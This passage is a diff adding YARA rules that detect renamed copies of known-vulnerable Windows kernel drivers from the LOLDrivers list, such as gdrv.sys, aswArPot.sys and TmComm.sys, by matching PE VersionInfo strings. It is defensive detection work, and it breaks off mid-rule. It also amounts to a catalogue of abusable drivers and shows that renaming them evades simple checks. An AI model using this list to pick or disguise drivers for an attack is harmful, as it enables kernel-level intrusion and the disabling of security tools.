+rule PUA_VULN_Renamed_Driver_Realtek_Rtkiowxsys_Realtekiodriver_32E1 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkiow10x64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "32e1a8513eee746d17eb5402fb9d8ff9507fb6e1238e7ff06f7a5c50ff3df993"
+		date = "2023-06-14"
+		score = 70
+		id = "062699e5-a4c4-5428-9867-450293bd591f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 } /* FileDescription RealtekIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* CompanyName Realtek */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 } /* InternalName rtkiowxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* ProductName RealtekIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 } /* OriginalFilename rtkiowxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 } /* LegalCopyright CopyrightCRealtekSemiconductorCorporationAllRightReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /rtkiow10x64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_43BA {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "43ba8d96d5e8e54cab59d82d495eeca730eeb16e4743ed134cdd495c51a4fc89"
+		date = "2023-06-14"
+		score = 70
+		id = "8db66d7c-9c5b-5ec5-a0d3-6eeac0faad51"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d004900430053005900530020006400720069007600650072 } /* FileDescription MICSYSdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 } /* CompanyName MICSYSTechnologyCoLTd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003100200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion xbuiltbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00310020007800360034 } /* ProductVersion x */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 } /* InternalName MsIosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0031 } /* ProductName MsIoDriverVersion */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 } /* OriginalFilename MsIosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100390020004d00490043005300590053 } /* LegalCopyright CopyrightcMICSYS */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /MsIo64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_1078 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1078af0c70e03ac17c7b8aa5ee03593f5decfef2f536716646a4ded1e98c153c"
+		date = "2023-06-14"
+		score = 70
+		id = "d8ad2385-f6ec-54df-b61e-e39d7e42ab9f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_26C2 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "26c28746e947389856543837aa59a5b1f4697e5721a04d00aa28151a2659b097"
+		date = "2023-06-14"
+		score = 70
+		id = "a054c49f-545a-50e4-9233-aa02e16be947"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 } /* FileDescription GIGABYTENonPnPDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e } /* CompanyName GIGABYTETECHNOLOGYCOLTD */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0035 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 } /* ProductName GIGABYTESoftwaredriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /gdrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_CC68 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cc687fe3741bbde1dd142eac0ef59fd1d4457daee43cdde23bb162ef28d04e64"
+		date = "2023-06-14"
+		score = 70
+		id = "699ffd4c-b617-5176-8309-f29c2cb00441"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000390039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Windowsrcodenamelonghornddkprovider_Cpudriver_Windowsrcodenamelonghornddkdriver_159E {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WCPU.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "159e7c5a12157af92e0d14a0d3ea116f91c09e21a9831486e6dc592c93c10980"
+		date = "2023-06-14"
+		score = 70
+		id = "c8838651-0a16-565f-8d0a-0bafb7655f34"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041005300550053002000540044004500200043005000550020004400720069007600650072 } /* FileDescription ASUSTDECPUDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRCodenameLonghornDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043005000550020004400720069007600650072 } /* InternalName CPUDriver */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 } /* ProductName WindowsRCodenameLonghornDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043005000550020004400720069007600650072 } /* OriginalFilename CPUDriver */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020006200790020004100530055005300540065006b00200043004f004d0050005500540045005200200049004e0043002e00200032003000300036 } /* LegalCopyright CopyrightbyASUSTekCOMPUTERINC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /WCPU/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibsys_Ntiolib_1DDF {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1ddfe4756f5db9fb319d6c6da9c41c588a729d9e7817190b027b38e9c076d219"
+		date = "2023-06-14"
+		score = 70
+		id = "2dd7f773-866a-5d1b-9048-9f632a5940fd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 } /* FileDescription NTIOLib */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e } /* LegalCopyright CopyrightCMicroStarINTLCOLTD */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_654C {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "654c5ba47f74008c8f49cbb97988017eec8c898adc3bb851bc6e1fdf9dcf54ad"
+		date = "2023-06-14"
+		score = 70
+		id = "8ecfdace-3521-59b7-8f71-357e6aa89f12"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0030002e0031003000370032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Marvintestsolutionsinc_Hwsys_Hw_FD38 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HW.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "fd388cf1df06d419b14dedbeb24c6f4dff37bea26018775f09d56b3067f0de2c"
+		hash = "6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5"
+		date = "2023-06-14"
+		score = 70
+		id = "7d87c723-84b9-56cd-84e1-ef5cdbd61d13"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570020002d002000570069006e0064006f007700730020004e0054002d00380020002800330032002f00360034002000620069007400290020006b00650072006e0065006c0020006d006f00640065002000640072006900760065007200200066006f007200200050004300200070006f007200740073002f006d0065006d006f00720079002f0050004300490020006100630063006500730073 } /* FileDescription HWWindowsNTbitkernelmodedriverforPCportsmemoryPCIaccess */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e } /* CompanyName MarvinTestSolutionsInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0038002e0032002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0038002e0032002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077002e007300790073 } /* InternalName Hwsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00480057 } /* ProductName HW */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480057002e007300790073 } /* OriginalFilename HWsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200031003900390036002d00320030003100350020004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightMarvinTestSolutionsIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /HW/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_6E0A {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6e0aa67cfdbe27a059cbd066443337f81c5b6d37444d14792d1c765d9d122dcf"
+		date = "2023-06-14"
+		score = 70
+		id = "cf02e07e-5d9c-55ee-a253-3a1c28ee77bc"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0036002e0034003200330035002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0036002e0034003200330035002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_A2F4 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a2f45d95d54f4e110b577e621fefa0483fa0e3dcca14c500c298fb9209e491c1"
+		date = "2023-06-14"
+		score = 70
+		id = "ffbaa9ba-f68a-554a-9fe8-544bb2e4880f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0032002e0034003100380031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0032002e0034003100380031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Nvidiacorporation_Nvflash_Nvidiaflashdriver_AFDD {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvflash.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "afdd66562dea51001c3a9de300f91fc3eb965d6848dfce92ccb9b75853e02508"
+		date = "2023-06-14"
+		score = 70
+		id = "43d4d647-32f2-5838-9182-c72420786bdb"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e0056004900440049004100200046006c0061007300680020004400720069007600650072002c002000560065007200730069006f006e00200031002e0038002e0030 } /* FileDescription NVIDIAFlashDriverVersion */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056004900440049004100200043006f00720070006f0072006100740069006f006e } /* CompanyName NVIDIACorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e00760066006c006100730068 } /* InternalName nvflash */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e0056004900440049004100200046006c0061007300680020004400720069007600650072 } /* ProductName NVIDIAFlashDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00760066006c006100730068002e007300790073 } /* OriginalFilename nvflashsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800430029002000320030003100370020004e0056004900440049004100200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CNVIDIACorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /nvflash/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Elaboratebytesag_Elbycdio_Cdrtools_F85E {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f85eb576acb5db0d2f48e5f09a7244165a876fa1ca8697ebb773e4d7071d4439"
+		date = "2023-06-14"
+		score = 70
+		id = "4dd6a8d8-f4b0-5a4f-889f-288c3c58564c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ElbyCDIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublicbyvektortrev_26F4 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "26f41e4268be59f5de07552b51fa52d18d88be94f8895eb4a16de0f3940cf712"
+		date = "2023-06-14"
+		score = 70
+		id = "3ad3446c-e086-5f48-9494-b40dc410d350"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 } /* CompanyName VektorTSecurityService */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e003100310039003200330030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e003100310039003200330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 } /* InternalName VBoxDrv */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100380020005000750062006c00690063002000620079002000560065006b0074006f0072002000540031003300200028007200650076002e003000350029 } /* ProductName AntidetectPublicbyVektorTrev */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100380020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCOracleCorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /VBoxDrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3C42 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3c4207c90c97733fae2a08679d63fbbe94dfcf96fdfdf88406aa7ab3f80ea78f"
+		date = "2023-06-14"
+		score = 70
+		id = "aecc5ac9-d563-53cd-8c12-c8c21bd69772"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
